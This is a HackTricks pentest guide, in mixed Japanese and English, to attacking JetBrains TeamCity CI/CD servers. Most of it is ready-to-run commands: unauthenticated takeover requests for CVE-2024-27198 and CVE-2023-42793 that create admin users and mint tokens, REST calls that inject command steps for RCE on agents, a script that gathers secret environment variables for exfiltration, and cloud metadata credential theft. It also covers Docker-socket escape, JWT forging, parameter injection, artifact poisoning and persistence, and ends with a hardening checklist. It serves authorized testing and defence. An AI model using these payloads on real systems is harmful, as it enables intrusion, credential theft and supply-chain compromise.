Files
hacktricks-cloud/src/pentesting-ci-cd/teamcity-security/README.md
T

33 KiB

TeamCity Security

{{#include ../../banners/hacktricks-training.md}}

Basic Information

TeamCity は JetBrains の CI/CD server です。TeamCity Cloud または TeamCity On-Premises として実行できます。実環境では、on-premises 製品がより興味深い target です。というのも、一般に private repositories、deployment credentials、internal networks、cloud build agents に接続されているためです。

TeamCity の installation は通常、以下で構成されます:

  • TeamCity server: Java web application と scheduler です。users、permissions、projects、build configurations、VCS roots、tokens、artifacts metadata、build history、integrations を保存します。デフォルトの HTTP port は 8111 です。
  • Projects and subprojects: build configurations、templates、parameters、VCS roots、connections、permissions の container です。
  • Build configurations: VCS checkout rules、triggers、build steps、agent requirements、artifact rules、snapshot dependencies、artifact dependencies を定義する jobs です。
  • Pipelines / Kotlin DSL / XML settings: build configuration は UI で管理するか、VCS に保存できます。一般的には Kotlin DSL を使って .teamcity/ directory に置かれます。
  • Build agents: server を poll し、code を checkout し、build settings と secrets を受け取り、build steps を実行し、logs/artifacts を server に戻して publish する worker machines です。agent は通常 1 回に 1 つの build を実行し、physical、VM、container、cloud-launched のいずれかです。
  • Agent pools: どの projects をどの agents で run できるかを restrict する方法です。public/untrusted builds と production deployment builds が coexist する場合に重要です。
  • VCS roots and connections: GitHub、GitLab、Bitbucket、Azure DevOps、Perforce、Subversion、その他の repository integrations です。これらにはしばしば PATs、refreshable tokens、SSH keys、または OAuth-backed tokens が含まれます。
  • Build parameters: configurations と builds で利用できる values です。env.* parameters は environment variables になり、system.* parameters は system properties になり、password parameters は masked されますが build code からは still usable です。

Warning

TeamCity 自体の documentation では、build で実行される code を変更できる users は、build-agent OS user ができることを実行でき、agent 上の resources に access でき、自分の builds が run する configurations の settings を retrieve でき、さらに同じ agent を共有する他の projects にも potentially affect できると述べています。

Interesting Ports, Paths & Files

# Common TeamCity web ports
8111/tcp   # Default HTTP TeamCity server
80/tcp     # Often reverse-proxied TeamCity
443/tcp    # HTTPS reverse proxy or configured HTTPS

興味深いURL:

/login.html
/app/rest/server
/app/rest/swagger.json
/guestAuth/app/rest/server
/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
/admin/admin.html
/admin/diagnostic.jsp
/admin/agents.html
/admin/plugins.html

サーバー侵害後に興味深いローカルパス:

# Linux defaults seen in common installs
/opt/TeamCity/logs/
/opt/TeamCity/webapps/ROOT/plugins/
/home/teamcity/.BuildServer/config/
/home/teamcity/.BuildServer/plugins/
/home/teamcity/.BuildServer/system/artifacts/
/home/teamcity/.BuildServer/system/buildserver.data

# Windows defaults seen in common installs
C:\TeamCity\logs\
C:\TeamCity\webapps\ROOT\plugins\
C:\ProgramData\JetBrains\TeamCity\config\
C:\ProgramData\JetBrains\TeamCity\plugins\
C:\ProgramData\JetBrains\TeamCity\system\artifacts\
C:\ProgramData\JetBrains\TeamCity\system\buildserver.data

エージェント侵害後の興味深いローカルパス:

<AGENT_HOME>/conf/buildAgent.properties
<AGENT_HOME>/logs/
<AGENT_HOME>/work/
<AGENT_HOME>/temp/
<AGENT_HOME>/system/
~/.git-credentials
~/.ssh/
~/.docker/config.json
~/.npmrc
~/.m2/settings.xml
~/.aws/
~/.config/gcloud/

TeamCityで注意すべきPermissions

正確なpermission modelはカスタマイズできますが、重要なdefault rolesは次のとおりです:

  • System Administrator: サーバーの完全なcontrol。adminsはserver settingsの変更、pluginsのupload、diagnosticsへのアクセスができるため、server OS compromiseが可能だと想定してください。
  • Project Administrator: projectを管理し、通常そのproject内でbuild configurations、parameters、VCS roots、features、triggers、agent requirementsの作成/editができます。
  • Project Developer: 通常、configuration settingsの表示、buildの実行、build resultsとのやり取りができます。configuration settingsやruntime dataがしばしばsecretsを開示するため、これでも敏感です。
  • Project Viewer / Guest: read-only accessでも、build logs、artifacts、project names、branch names、internal hostnames、dependency pathsが漏れる可能性があります。

Tip

pentest中は、"low-privileged TeamCity user"で止まらないでください。そのuserがcustom buildsの実行、branchesの選択、parametersのcustomize、settingsの表示、runtime parametersの表示、artifactsのdownload、deployment configurationsのtriggerをできるか確認してください。

Initial Enumeration

Fingerprint Exposed TeamCity

export TC="http://teamcity.example.com:8111"

curl -i "$TC/login.html"
curl -i "$TC/app/rest/server"
curl -i "$TC/guestAuth/app/rest/server"
curl -s "$TC/app/rest/swagger.json" | head

役立つ兆候:

  • TeamCity-Node-Id HTTP header.
  • ログインページの branding.
  • /app/rest/server は認証が必要な場合 401 を返します。
  • guest access が有効なら /guestAuth/app/rest/server が機能します。

トークンを使った REST API Enumeration

TeamCity REST API は通常 Authorization: Bearer <token> を使用します。

export TC="https://teamcity.example.com"
export TCTOKEN="TC..."

alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'

tcurl "$TC/app/rest/server"
tcurl "$TC/app/rest/users/current"
tcurl "$TC/app/rest/users/current/roles"
tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
tcurl "$TC/app/rest/agentPools"
tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"

ビルド構成の場合:

export BT="id:Project_Build"

tcurl "$TC/app/rest/buildTypes/$BT"
tcurl "$TC/app/rest/buildTypes/$BT/parameters"
tcurl "$TC/app/rest/buildTypes/$BT/steps"
tcurl "$TC/app/rest/buildTypes/$BT/features"
tcurl "$TC/app/rest/buildTypes/$BT/triggers"
tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"

Guest Access Abuse

guest login が有効な場合、TeamCity は /guestAuth/ URLs をサポートします。デフォルトでは、guest users は変更されていない限り、すべての projects に対して Project Viewer role を持ちます。

curl -sk "$TC/guestAuth/app/rest/projects"
curl -sk "$TC/guestAuth/app/rest/buildTypes"
curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"

探す対象:

  • Secrets が誤って出力された build logs.
  • .env、packages、SBOMs、deployment manifests、Terraform plans、kubeconfigs、test reports、database dumps、または internal URLs を含む artifacts.
  • cloud account 名、production systems、regions、または internal service names を明かす project/build names.
  • 特権 developer や service users を特定できる commit metadata.

artifact download format の例:

curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"

攻撃

Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199

TeamCity On-Premises versions through 2023.11.3 were affected by two authentication bypasses fixed in 2023.11.4. CVE-2024-27198 is the critical one because it can expose authenticated REST endpoints to unauthenticated attackers.

この bypass は、無害な authenticated endpoint を使って fingerprint します:

curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"

認証なしでサーバーのmetadataが返される場合、その instance は vulnerable です。一般的な takeover path は、admin user を作成するか、既存の admin user のために token を mint することです:

curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
-X POST \
-H "Content-Type: application/json" \
--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST

この後は、認証済みの TeamCity 管理者として続行します: プロジェクトを列挙し、シークレットを収集し、エージェント上で build を実行し、artifact を調査し、エージェントから cloud アクセスを確認します。

Unauthenticated Takeover: CVE-2023-42793

TeamCity On-Premises の 2023.05.4 より前の version は CVE-2023-42793 の影響を受けていました。実際の影響は、TeamCity API を通じた unauthenticated の administrator-level access と RCE でした。広く悪用された path は、/RPC2 で終わる route を通じた token 作成でした。

curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"

インシデントの影響を評価している場合は、露出期間の前後で、疑わしい token の作成、admin account の作成、plugin のアップロード/削除イベント、process execution を確認してください。

Admin RCE By Uploading A Plugin

TeamCity server plugins は、server functionality を拡張する ZIP packages です。System Administrator は、UI の Administration -> Plugins から plugin を upload し、load して、server-side Java code を execute できます。

Abuse cases:

  • malicious plugin を upload して、TeamCity server に直接 RCE を実行する。agent だけではない。
  • plugin load/delete を短命な execution path として使う。
  • internal integration のように見える plugin を通じて persistence を確立する。

確認すべき evidence:

teamcity-activities.log
teamcity-server.log
<TeamCity Data Directory>/plugins/
<TeamCity Data Directory>/config/disabled-plugins.xml
<TeamCity Data Directory>/system/caches/plugins.unpacked/
<TeamCity Home>/webapps/ROOT/plugins/

Build Steps の作成または変更による RCE

build configuration を作成または編集できるなら、TeamCity agent は command execution の対象になります。Command Line / Script runner が最も直接的な option です。

REST 経由で command line step を追加します:

curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{
"name": "diagnostics",
"type": "simpleRunner",
"properties": {
"property": [
{"name": "script.content", "value": "id; uname -a; env | sort"}
]
}
}'

ビルドを開始します:

curl -sk "$TC/app/rest/buildQueue" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{"buildType":{"id":"Project_Build"}}'

エージェントで最初に使うと便利なコマンド:

id
hostname
pwd
env | sort
mount
ip addr || ifconfig
ip route || route print
find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"

Windows agents:

whoami /all
hostname
Get-ChildItem Env: | Sort-Object Name
ipconfig /all
route print
Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue

目的 A より興味深い Agent

Build configurations には agent requirements を設定でき、custom builds では特定の agent を選択できる場合があります。これは、ある agent が production network への到達性、Docker access、mobile signing keys、cloud roles、または deployment tooling を持っている場合に重要です。

互換性のある agents を列挙します:

tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"

あなたの権限で許可されている場合、特定の agent に build を queue する:

curl -sk "$TC/app/rest/buildQueue" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'

または、価値のある agent class を強制するために agent requirement を追加します:

curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{
"type":"equals",
"properties":{"property":[
{"name":"property-name","value":"teamcity.agent.name"},
{"name":"property-value","value":"prod-deploy-agent-01"}
]}
}'

Build Parameters & Password Parameters のDump

Parametersはprojectsとtemplatesから継承されるため、project scopeとbuild configuration scopeの両方を列挙する:

tcurl "$TC/app/rest/projects/id:Project/parameters"
tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"

興味深い名前:

env.AWS_ACCESS_KEY_ID
env.AWS_SECRET_ACCESS_KEY
env.GITHUB_TOKEN
env.NPM_TOKEN
env.DOCKER_AUTH_CONFIG
system.deploy.password
system.oauth.clientSecret
vcsroot.<id>.password
teamcity.configuration.properties.file

重要な注意事項:

  • Password パラメータは UI/ログではマスクされますが、正当にそれらを受け取る code はそれらを exfiltrate したり変換したりできます。
  • Project administrators は、settings アクセスを通じて raw parameter 値を取得できることがよくあります。
  • TeamCity の security notes では、build code を変更できる users は、その build で使用される password 値を取得できると警告されています。
  • versioned settings が VCS に保存されている場合、settings repo へのアクセス権を持つ users は、server encryption configuration と key exposure に応じて、scrambled/encrypted settings から値を recover できる場合があります。

Build-step exfil pattern:

python3 - <<'PY'
import base64, os, json
interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
print(base64.b64encode(json.dumps(interesting).encode()).decode())
PY

Poison Versioned Settings / Kotlin DSL

versioned settings が有効で、TeamCity が .teamcity/ に対して信頼している branch/repository に書き込みできる場合、pipeline 定義そのものを変更できます。

典型的な対象:

  • build configuration に新しい script step を追加する。
  • agentRequirements を変更して、より権限の高い agent で実行する。
  • artifact rules を追加して、機密ファイルを公開する。
  • snapshot/artifact dependencies を追加して、別の build から data を取得する。
  • 永続化のために VCS triggers を追加する。
  • VCS roots や checkout rules を変更する。

最小限の Kotlin DSL malicious step:

import jetbrains.buildServer.configs.kotlin.*
import jetbrains.buildServer.configs.kotlin.buildSteps.script

object Build : BuildType({
name = "Build"
steps {
script {
name = "diagnostics"
scriptContent = "id; env | base64"
}
}
})

Caution

これは TeamCity における最も影響の大きい misconfiguration の1つです。build settings を application source と同じ repository に保存すると、その source branch を変更できる人なら誰でも CI/CD control plane を変更できる可能性があります。

Pull Request / Untrusted Build Abuse

TeamCity は GitHub、GitLab、Bitbucket、Azure DevOps、JetBrains Space からの pull request を build できます。public repository が pull request を Everybody から build するように設定されている場合、external attacker は PR を開くだけで TeamCity agent 上で code execution を得られる可能性があります。

確認する項目:

  • permissive な author filters を持つ Pull Requests build feature。
  • refs/pull/* のような pull request branch に一致する VCS trigger。
  • Untrusted Builds review が missing または disabled。
  • trusted/prod build と同じ pools 上で動作する PR build。
  • PR build から利用可能な password parameters または deployment credentials。
  • PR branch から読み込まれる versioned settings。

untrusted code からの abuse primitives:

env | sort
echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"

また、PR制御の値を挿入する build scripts も確認してください:

%teamcity.pullRequest.title%
%teamcity.pullRequest.source.branch%
%teamcity.pullRequest.target.branch%
%teamcity.build.branch%

shell、PowerShell、SQL、Docker tags、package names、または deployment arguments にそれらの値が quoting/validation なしで挿入される場合、command injection と logic manipulation を test してください。

Run Custom Build Parameter Injection

build configuration を edit できない users でも、modified branch、agent、または parameter values を使って custom builds を run できる場合があります。

curl -sk "$TC/app/rest/buildQueue" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{
"buildType":{"id":"Project_Build"},
"branchName":"refs/heads/attacker-controlled-branch",
"properties":{"property":[
{"name":"env.DEPLOY_ENV","value":"prod; id #"},
{"name":"system.release.version","value":"1.2.3$(id)"}
]}
}'

次のような scripts を探してください:

deploy --env %env.DEPLOY_ENV%
docker build -t registry/app:%system.release.version% .
git checkout %teamcity.build.branch%

Service Message Abuse

TeamCity は build steps からの特別にフォーマットされた出力を解析します。もし attacker-controlled code が build 内で実行されると、後続の steps や server の build に対する理解に影響を与えられます。

Useful messages:

# Publish arbitrary files as artifacts
echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"

# Modify parameters for following steps
echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"

# Poison the build number displayed/published downstream
echo "##teamcity[buildNumber '9999-backdoored']"

# Hide noisy output in collapsed blocks
echo "##teamcity[blockOpened name='integration tests']"
echo "##teamcity[blockClosed name='integration tests']"

これは、下流の release job が upstream job の build status、build number、tags、artifact names、または output parameters を信頼している場合、さらに危険になります。

Artifact & Dependency Poisoning

TeamCity の build chain は、build 間で artifact を移動させることがよくあります。privileged な downstream build によって消費される artifact を publish する upstream build を influence できるなら、次を poison してみてください。

  • JAR/WAR/NuGet/npm/PyPI packages.
  • Docker build contexts.
  • Terraform plan files.
  • Helm charts and Kubernetes manifests.
  • SBOM/provenance files.
  • 後続の step で消費される test fixtures や generated code。

build から controlled artifact を publish します:

mkdir -p out
cp payload.jar out/app.jar
echo "##teamcity[publishArtifacts 'out/** => release.zip']"

次に、artifact dependencies を調べます:

tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"

Agent Cloud Pivoting

エージェントがAWS、Azure、GCP、Kubernetes、または内部VMネットワークで動作している場合、ビルドはpivot pointです。

AWS IMDS:

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"

IMDSv1 が許可されている場合のフォールバック:

ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"

Azure IMDS:

curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

GCP metadata:

curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"

Kubernetes:

ls -la /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

Docker escape checks:

ls -la /var/run/docker.sock
docker ps
docker run --rm -it -v /:/host alpine chroot /host sh

内部サービスへのPivot

Build agentsは、package registries、artifact stores、deployment APIs、databases、そして内部admin panelsに到達できることがよくあります。

for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
echo "### $h"
curl -sk --connect-timeout 2 "https://$h/" | head
done

TeamCityのパラメータ、cloud secret stores、artifacts、またはrepo filesから共有JWT/HMAC secretを盗んだ後、弱いinternal services向けにtokenをforgeする:

import jwt, time
secret = "leaked-hs256-secret"
payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
print(jwt.encode(payload, secret, algorithm="HS256"))

VCS Root & Repository Credential Abuse

VCS roots と connections は、TeamCity 自体よりも価値が高いことがよくあります。

探すもの:

  • username/password または PAT を使う HTTP(S) VCS roots。
  • TeamCity にアップロードされた SSH private keys。
  • GitHub App / OAuth / refreshable token connections。
  • Commit Status Publisher tokens。
  • Pull Request feature tokens。
  • repository、tags、releases、packages、または workflow files に書き込む build steps。

REST enumeration:

tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
tcurl "$TC/app/rest/projects/id:Project/features"

侵害後の影響:

  • リポジトリに malicious commits/tags を push する。
  • release tags を移動する。
  • malicious package versions を publish する。
  • tester が元々アクセス権を持っていなかった private repos を読む。
  • GitHub Actions など別の platform 用の CI/CD config を追加する。
  • service identity に write access がある場合、その service identity を使って PR を open/merge する。

Debug & Diagnostics Endpoints

一部の危険な debug 機能は admin permissions と internal properties によって保護されている。これが有効だと、TeamCity database や process execution を露出させる可能性がある。

database query setting の例:

rest.debug.database.allow.query.prefixes=select

これが有効になっている場合、admin token は内部 data を query できる可能性があります:

curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
-H "Authorization: Bearer $TCTOKEN"

Also inspect whether /app/rest/debug/processes はあなたの role から到達可能か確認してください。有効になっている debug endpoint は、直接的な server compromise path の可能性として扱ってください。

Agent-Server Trust & Rogue Agent Angles

Agents は server を poll し、build settings、repository sources、access credentials/keys、build logs、artifact data を受け取ります。agent-to-server communication が plain HTTP であるか、または attacker が network path を制御している場合、secrets と source code が露出する可能性があります。

Check:

grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties

Abuse paths:

  • 1つの agent を侵害し、agents が再利用されている場合は他の projects の作業ディレクトリを確認する。
  • clean checkout が強制されていない場合、後続の builds のために checked-out source や cached dependencies を改ざんする。
  • agent authorization token/configuration を盗む。
  • project agents を authorize する権限がある場合、または admins が新しい agents を自動的に authorize する場合は、rogue agent を登録する。
  • 侵害されたホストから既存の agent を impersonate する。

Logs, Artifacts & Data Directory As Secrets

TeamCity security notes では、TeamCity Data Directory、server logs、または build artifacts への read access が secrets を露出させたり、administrator escalation につながる可能性があると明示的に警告している。

特定の escalation path の1つは Super User Access である: TeamCity は teamcity-server.log に書き込まれた token を使って system administrator として login できる場合がある。logs が保護の弱い log platform に送られている、または非 admin の OS users から読める場合は、super-user tokens を search する。

Hunt:

grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null

Build logs にはよく以下が含まれます:

  • 展開された command lines。
  • 引数に credentials を含む失敗した deployment commands。
  • Docker login の出力。
  • npm/pip/maven の publishing errors。
  • Cloud CLI の debug output。
  • Internal service URLs。

Persistence Ideas

authorized red team assessment 中に有用な persistence techniques:

  • service/admin user の下で、もっともらしい名前の access token を作成する。
  • あまりレビューされない configuration に low-noise な build trigger を追加する。
  • 既存の deployment step で使われる project parameter を追加する。
  • 後で再有効化できる hidden または disabled な build step を追加する。
  • 正当な project の下に新しい VCS root または connection を追加する。
  • internal integration に見える plugin を追加する。
  • builds を attacker-controlled infrastructure にルーティングする新しい agent pool / cloud profile / agent requirement を追加する。
  • settings repository の Kotlin DSL を変更する。

Things defenders should review after a TeamCity compromise:

teamcity-activities.log
teamcity-server.log
teamcity-javaLogging*.log
User access tokens
Recently created users/groups/roles
Plugin upload/load/delete events
Build configuration diffs
Versioned settings commits
VCS root credential changes
Agent authorization changes
Build triggers and schedules
Suspicious artifact publications

Hardening Checklist

  • TeamCity On-Premises を常に最新の状態に保つ; 古い auth bypass が残る exposed servers は高価値な標的になる。
  • 強力な access controls、SSO/MFA、network filtering、迅速な patching が整っていない限り、TeamCity を直接 internet に expose しない。
  • 本番サーバーでは Guest Login を無効化する。
  • サーバーログが export される、または広く閲覧可能な場合は、teamcity.superUser.disable=true を設定して Super User Access を無効化する。
  • 広範な Project Administrator 権限ではなく、least-privilege groups と custom roles を使う。
  • REST automation には短命な scoped tokens を使う。
  • versioned settings を使う場合は、build settings を別の保護された repository に置く。
  • フォークからの PR builds は hostile とみなし、Untrusted Builds、manual approval、分離された disposable agents を使う。
  • public/untrusted builds と deployment builds を、専用の agent pools で分離する。
  • 機密性の高い builds には disposable agents を使い、clean checkout を強制する。
  • parameters に長寿命の cloud/static credentials を置かない; 可能なら cloud OIDC/workload identity を優先する。
  • AWS agents では IMDSv2 を必須にし、containers からの metadata access を制限する。
  • agents は権限の低い OS users として実行し、厳密に必要でない限り Docker socket を mount しない。
  • agent-to-server traffic には HTTPS を使う。
  • plugin installation は trusted admins に制限し、plugin changes を review する。
  • server logs と TeamCity Data Directory は、TeamCity server の OS account と admins のみが読めるようにする。
  • secure values には、デフォルトの scrambling mechanism に頼らず custom encryption key を使う。
  • 調査のために build history/logs を保持し、builds を delete する権限を制限する。

References

{{#include ../../banners/hacktricks-training.md}}